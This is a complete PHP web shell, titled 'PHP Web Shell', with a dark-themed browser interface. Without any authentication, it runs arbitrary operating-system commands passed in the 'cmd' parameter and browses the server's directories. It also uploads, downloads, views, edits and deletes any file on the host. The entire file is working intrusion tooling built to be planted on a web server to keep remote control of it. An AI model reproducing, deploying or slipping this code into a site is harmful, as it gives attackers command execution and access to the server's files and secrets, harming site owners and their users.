<?php

function isLinux($path){ return substr($path,0,1)=='/'; }
function getSlashDir($isLinux){ return $isLinux ? '/' : '\\'; } 

// Resolve CWD
$cwd = isset($_GET['d']) ? $_GET['d'] : getcwd();
$isLinux = isLinux($cwd);
$slash = getSlashDir($isLinux);

// Messages
$uploadMsg = $deleteMsg = $editMsg = "";

// --- File Upload ---
if (isset($_FILES['upfile'])) {
    $target = $cwd . $slash . basename($_FILES['upfile']['name']);
    if (move_uploaded_file($_FILES['upfile']['tmp_name'], $target)) {
        $uploadMsg = '<div class="success">File uploaded: ' . htmlspecialchars(basename($_FILES['upfile']['name'])) . '</div>';
    } else {
        $uploadMsg = '<div class="error">Upload failed!</div>';
    }
}

if (isset($_GET['dl'])) {
    $fn = $_GET['dl'];
    if (is_file($fn) && is_readable($fn)) {
        // Clean output buffers to prevent corruption
        if (function_exists('ob_get_level')) {
            while (ob_get_level() > 0) { @ob_end_clean(); }
        }
        $filesize = filesize($fn);
        header('Content-Description: File Transfer');                                 
        header('Content-Type: application/octet-stream');                             
        header('Content-Disposition: attachment; filename="'.basename($fn).'"');      
        header('Content-Transfer-Encoding: binary');
        if ($filesize !== false) header('Content-Length: ' . $filesize);              
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
        header('Pragma: public');
        readfile($fn);                                                                 
        exit;                                                                          
    } else {
         $uploadMsg .= '<div class="error">Download failed (not found or unreadable).</div>';
    }
}

// --- File Delete ---
if (isset($_GET['del'])) {
    $f = $_GET['del'];
    if (is_file($f)) {
        if (@unlink($f)) $deleteMsg = "<div class='success'>File deleted!</div>";
        else $deleteMsg = "<div class='error'>Delete failed.</div>";
    }
}

if (isset($_GET['edit']) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
    $ef = $_GET['edit'];
    // Attempt write
    $bytes = @file_put_contents($ef, $_POST['content']);
    if ($bytes !== false) {
        $editMsg = "<div class='success'>File updated!</div>";
    } else {
        $editMsg = "<div class='error'>Could not write to file.</div>";
    }
}

?>
<!DOCTYPE html>
<html>
<head>
<title>PHP Web Shell</title>
<meta name="viewport" content="width=device-width,initial-scale=1">
<style>
html, body { width:100%; height:100%; margin:0; padding:0; background:#212325; color:#f6f7fb; font-family:'Segoe UI',Arial,sans-serif; overflow-x:hidden; }
.container { width:100%; max-width:none; padding:24px 4vw; background:#26282b; box-sizing:border-box; }
h2 { color:#81b3fa; margin:0 0 12px 0; }
a { color:#8ecae6; text-decoration:none; }
a:hover { color:#f18686; }
.toolbar { display:flex; gap:1em; flex-wrap:wrap; margin-bottom:1em; }
input, textarea, button { background:#17181a; color:#f6f7fb; border:1px solid #444; padding:6px 8px; border-radius:6px; }
input[type="file"] { color:#f18686; background:none; border:1px dashed #555; padding:6px; }
textarea { width:100%; min-height:120px; box-sizing:border-box; white-space:pre; }
.listing { background:#191a1c; padding:14px; border-radius:10px; margin-bottom:14px; width:100%; box-sizing:border-box; }
.file-row { display:flex; align-items:center; gap:.6em; padding:4px 0; flex-wrap:wrap; }
.file-actions button { margin-left:.5em; padding:4px 10px; }
.success { color:#a4e86b; }
.error { color:#ff96a6; }
.highlight { background:#8ecae6; color:#222; padding:2px 6px; border-radius:3px; }
hr { border:none; border-top:1px solid #3a3b3e; margin:12px 0; }
</style>
<script>
function fileView(path){ window.location='?view='+encodeURIComponent(path)+'&d='+encodeURIComponent(document.getElementById('cwd').value); }
function fileEdit(path){ window.location='?edit='+encodeURIComponent(path)+'&d='+encodeURIComponent(document.getElementById('cwd').value); }
function fileDelete(path){ if(confirm('Delete file?')) window.location='?del='+encodeURIComponent(path)+'&d='+encodeURIComponent(document.getElementById('cwd').value); }
function fileDownload(path){ window.location='?dl='+encodeURIComponent(path)+'&d='+encodeURIComponent(document.getElementById('cwd').value); }
</script>
</head>
<body>
<div class="container">
  <h2>PHP Web Shell</h2>
  <div>Server: <span class="highlight"><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? ''); ?></span>
       &nbsp; PHP: <span class="highlight"><?php echo PHP_VERSION; ?></span></div>

  <div class="toolbar">
    <form method="GET" style="flex:1; min-width:260px;">
      <input type="text" name="d" id="cwd" style="width:100%;" value="<?php echo htmlspecialchars($cwd); ?>" />
      <button type="submit">Go</button>
    </form>
    <form method="POST" enctype="multipart/form-data">
      <input type="file" name="upfile" onchange="this.form.submit()" />
      <input type="hidden" name="upload_to" value="<?php echo htmlspecialchars($cwd); ?>" />
    </form>
    <form method="GET">
      <input type="text" name="cmd" placeholder="Shell Command" style="min-width:220px;" />
      <input type="hidden" name="d" value="<?php echo htmlspecialchars($cwd); ?>" />
      <button type="submit">Run</button>
    </form>
  </div>

  <?php
  // Messages
  if (!empty($uploadMsg)) echo $uploadMsg;
  if (!empty($deleteMsg)) echo $deleteMsg;
  if (!empty($editMsg)) echo $editMsg;

  // Command Execution
  if (isset($_GET['cmd']) && strlen(trim($_GET['cmd'])) > 0) {
      echo '<div class="listing"><b>Command Output:</b><pre>';
      $output = [];
      exec($_GET['cmd'].' 2>&1', $output);
      echo htmlspecialchars(implode("\n", $output));
      echo '</pre></div>';
  }

  // File View
  if (isset($_GET['view'])) {
      $viewfile = $_GET['view'];
      if (is_file($viewfile)) {
          $content = htmlspecialchars(@file_get_contents($viewfile));
          echo "<div class='listing'><b>Viewing: ".htmlspecialchars(basename($viewfile))."</b><pre>{$content}</pre></div>";
      }
  }


  if (isset($_GET['edit'])) {
      $ef = $_GET['edit'];
      if (is_file($ef)) {
          // If just saved, show new contents; else read from disk
          $currentContents = isset($_POST['content']) ? $_POST['content'] : @file_get_contents($ef);
          $cnt = htmlspecialchars($currentContents);
          $safeName = htmlspecialchars($ef);
          $action = '?edit='.urlencode($ef).'&d='.urlencode($cwd);
          echo <<<E
<div class="listing">
  <h3>Edit: {$safeName}</h3>
  <form method="POST" action="{$action}">
    <textarea name="content">{$cnt}</textarea>
    <div><button type="submit">Save</button></div>
  </form>
</div>
E;
      }
  }


  if (is_dir($cwd)) {
      echo '<div class="listing">';
      echo "<b>Directory: <span class='highlight'>".htmlspecialchars($cwd)."</span></b><hr>";
      $files = @scandir($cwd);
      if ($files === false) {
          echo "<div class='error'>Unable to read directory.</div>";
      } else {
          // navigation entries
          echo "<div class='file-row'><a href='?d=".urlencode($cwd.$slash.'.')."'>.</a>&nbsp;
                <a href='?d=".urlencode($cwd.$slash.'..')."'>..</a></div>";
          foreach ($files as $f) {
              if ($f === '.') continue;
              $full = $cwd . $slash . $f;
              $isdir = @is_dir($full);
              echo "<div class='file-row'>";
              if ($isdir) {
                  echo "<span>📁</span><a href='?d=".urlencode($full)."'>".htmlspecialchars($f)."</a>";
              } else {
                  $fullEsc = addslashes($full);
                  echo "<span>📄</span><span>".htmlspecialchars($f)."</span>
                        <span class='file-actions'>
                          <button onclick=\"fileView('{$fullEsc}')\" type=\"button\">View</button>
                          <button onclick=\"fileEdit('{$fullEsc}')\" type=\"button\">Edit</button>
                          <button onclick=\"fileDownload('{$fullEsc}')\" type=\"button\">Download</button>
                          <button onclick=\"fileDelete('{$fullEsc}')\" type=\"button\">Delete</button>
                        </span>";
              }
              echo "</div>";
          }
      }
      echo '</div>';
  } else {
      echo '<div class="error">Invalid directory!</div>';
  }
  ?>
</div>
</body>
</html>
